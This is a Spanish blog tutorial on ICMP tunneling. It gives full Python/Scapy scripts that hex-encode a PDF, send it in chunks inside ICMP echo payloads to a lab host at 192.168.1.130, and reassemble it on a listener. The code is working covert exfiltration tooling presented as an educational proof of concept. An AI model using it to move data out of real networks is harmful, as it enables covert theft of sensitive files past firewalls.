Curiosioux

Blog Personal Dedicado a la Ciberseguridad

ICMP Tunneling y Exfiltración de datos.

En este artículo vamos a intentar trasladar un archivo PDF desde una máquina a otra utilizando el protocolo ICMP y su campo Data. Pero antes hay que familiarizarse con algunos conceptos.

ICMP (Internet Control Message Protocol) es un protocolo de red utilizado para enviar mensajes de error y operativos en redes IP. Aunque normalmente se usa para diagnosticar problemas de red, su capacidad para transportar datos permite que sea aprovechado para métodos de tunneling, ocultando comunicaciones en paquetes ICMP.

ICMP Tunneling es una técnica en la que los datos son encapsulados dentro de paquetes ICMP. Esto puede ser útil para evadir firewalls y sistemas de detección que pueden no inspeccionar exhaustivamente los paquetes ICMP.

La exfiltración de datos es el proceso de transferir datos sensibles desde un sistema comprometido a un atacante. Los métodos de exfiltración pueden utilizar varios protocolos, y el ICMP tunneling es uno de ellos, ya que permite ocultar la información dentro de paquetes ICMP.

Para esta prueba de concepto, vamos a utilizar los siguientes scripts en python.

TunelEnv.py

from scapy.all import *
import os
import re

def copy_and_modify_binary_data(pdf_path, txt_path):
    # Leer el archivo PDF en modo binario
    with open(pdf_path, 'rb') as pdf_file:
        binary_data = pdf_file.read()
    
    # Convertir los datos binarios a una cadena de texto con representación hexadecimal
    hex_data = binary_data.hex()
    
    # Crear una lista para almacenar los bloques modificados
    modified_data = []
    
    # Agregar la marca inicial
    modified_data.append('[-> INI]')
    
    # Dividir los datos en bloques de 15 caracteres y agregar el número de bloque
    block_size = 15
    total_blocks = len(hex_data) // block_size
    for i in range(total_blocks):
        block = hex_data[i * block_size:(i + 1) * block_size]
        modified_data.append(f'[-> {i}] {block} [<- F]')
    
    # Añadir cualquier restante del bloque final si no es múltiplo de 15
    if len(hex_data) % block_size != 0:
        remaining_block = hex_data[total_blocks * block_size:]
        modified_data.append(f'[-> {total_blocks}] {remaining_block} [<- F]')
        total_blocks += 1
# Agregar la marca final
    modified_data.append(f'[-> {total_blocks} FIN]')
    
    # Unir todos los bloques en una sola cadena con saltos de línea
    modified_text = '\n'.join(modified_data)
    
    # Escribir el texto modificado en el archivo TXT
    with open(txt_path, 'w', encoding='utf-8') as txt_file:
        txt_file.write(modified_text)

def read_file_in_blocks(file_path):
    if not os.path.exists(file_path):
        raise FileNotFoundError(f"El archivo {file_path} no se encuentra.")
    
    with open(file_path, 'r', encoding='utf-8') as file:
        content = file.read()
    
    # Dividir el contenido en bloques respetando las marcas
    blocks = re.split(r'(\[-> \d+\] .+? \[<- F\])', content)
    
    # Filtrar bloques vacíos y devolver bloques junto con sus marcas
    blocks = [block for block in blocks if block.strip()]
    
    return blocks

def send_icmp_packets(ip_address, data_blocks):
    for block in data_blocks:
        # Crear paquete ICMP Echo Request
        packet = IP(dst=ip_address)/ICMP()/Raw(load=block)
        print(f"Enviando paquete con datos: {block}")
        send(packet)

def packet_callback(packet):
    if packet.haslayer(ICMP):
        # Extraer el contenido del paquete ICMP recibido
        icmp_data = packet[Raw].load.decode(errors='ignore')
        print(f"Paquete ICMP recibido: {icmp_data}")

def main():
    # Obtener la ruta actual del script
    current_directory = os.path.dirname(os.path.abspath(__file__))
    
    # Definir las rutas de los archivos PDF, TXT y de salida
    pdf_path = os.path.join(current_directory, 'ejemplo.pdf')
    txt_path = os.path.join(current_directory, 'salida.txt')
    output_pdf_path = os.path.join(current_directory, 'salida.pdf')
# Crear y modificar el archivo salida.txt
    copy_and_modify_binary_data(pdf_path, txt_path)
    
    # Leer el archivo y dividir en bloques respetando las marcas
    try:
        data_blocks = read_file_in_blocks(txt_path)
    except FileNotFoundError as e:
        print(e)
        return
    
    # Definir la dirección IP del destinatario
    ip_address = '192.168.1.130'
    
    # Enviar los paquetes ICMP
    send_icmp_packets(ip_address, data_blocks)
    
    print("Envío de paquetes ICMP completado.")
    
    # Escuchar las respuestas ICMP
    print("Esperando respuestas ICMP...")
    sniff(filter="icmp", prn=packet_callback, timeout=30)

if __name__ == "__main__":
    main()

recPdfIcmp

from scapy.all import *
import signal
import sys
import re
import binascii

def packet_callback(packet):
    if packet.haslayer(ICMP):
        # Extraer el contenido del campo de datos del paquete ICMP
        icmp_data = packet[Raw].load.decode(errors='ignore')

        # Guardar el contenido en el archivo
        with open('recibidoBruto.txt', 'a', encoding='utf-8') as file:
            file.write(icmp_data + '\n')

        print(f"Datos ICMP recibido y guardado: {icmp_data}")

def signal_handler(sig, frame):
    print("\nInterrupción recibida, finalizando y reconstruyendo el PDF...")
    reconstruct_pdf()
    sys.exit(0)

def reconstruct_pdf():
    try:
        # Leer el archivo recibidoBruto.txt
        with open('recibidoBruto.txt', 'r', encoding='utf-8') as file:
            data = file.read()

        # Usar una expresión regular para extraer los datos hexadecimales y marcas
        pattern = r'\[-> (\d+)\] ([0-9a-fA-F]+) \[<- F\]'
        blocks = re.findall(pattern, data)

        # Eliminar duplicados usando un set
        unique_blocks = {}
        for index, hex_data in blocks:
            if index not in unique_blocks:
                unique_blocks[index] = hex_data

        # Ordenar los bloques por índice
        sorted_blocks = [unique_blocks[key] for key in sorted(unique_blocks.keys(), key=int)]

        # Convertir la lista de bloques hexadecimales en una sola cadena binaria
        binary_data = ''.join(sorted_blocks)
        pdf_data = binascii.unhexlify(binary_data)
# Guardar los datos binarios como un archivo PDF
        with open('recibidoExfiltradoPdf.pdf', 'wb') as pdf_file:
            pdf_file.write(pdf_data)

        print("Archivo PDF reconstruido como recibidoExfiltradoPdf.pdf")
    
    except Exception as e:
        print(f"Error al reconstruir el archivo PDF: {e}")

def main():
    # Configurar el manejador de señales para manejar Ctrl + C
    signal.signal(signal.SIGINT, signal_handler)
    
    print("Esperando paquetes ICMP. Presiona Ctrl + C para finalizar y reconstruir el PDF...")
    
    # Escuchar los paquetes ICMP indefinidamente
    sniff(filter="icmp", prn=packet_callback)

if __name__ == "__main__":
    main()

https://github.com/ismael107/icmpTunneling/tree/main

El primero tomará un ejemplo.pdf y lo enviará utilizando ICMP; el segundo se ejecutará en la máquina receptora y capturará los paquetes ICMP para reensablar el PDF.

Estamos usando ICMP de forma imaginativa y el campo data no esta pensado para este tipo de cosas. Además de estar limitados por el tamaño de los datos que podemos trasmitir, a veces se pierden paquetes o llegan mal formados. De modo que hemos ideado nuestra propia manera para reensamblar los datos cuando estos sean recibidos por la máquina receptora. Se ha creado un archivo de control donde podemos ver como se van a estructurar los datos que vamos a enviar.

Como se puede ver estamos fraccionando los datos, convirtiéndolos a hexadecimal y añadiendo nuestras propias marcas de control. Esto nos va a facilitar el trabajo de reensamblaje.

Ejecutamos nuestro script de recepción:

Y ejecutamos el script de envío

Podemos ver que se envían nuestros paquetes y son recibidos en el otro lado

Vamos a ver qué ha pasado en wireshark

Esta claro que discretos no estamos siendo, pero parece que la data se está enviando.

En el otro lado también han pasado cosas

Vamos a verlo.

Hay un archivo recibidoBruto.txt que hemos usado a modo de control.

Vamos a hacer un cat sobre él.

Como vemos ahí están nuestros trocitos de información listos para ser ensamblados.

Hagamos un cat sobre recibidoExfiltradoPdf.pdf

Da la impresión de que aquí tenemos un PDF bien formado. Hay que verlo.

Los scripts que he utilizado los he creado con ayuda de ChatGPT y, aunque no tienen por objeto parecerse a una exfiltración real, creo que sirven para ejemplificar bien en qué consiste la técnica de ICMP Tunneling.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *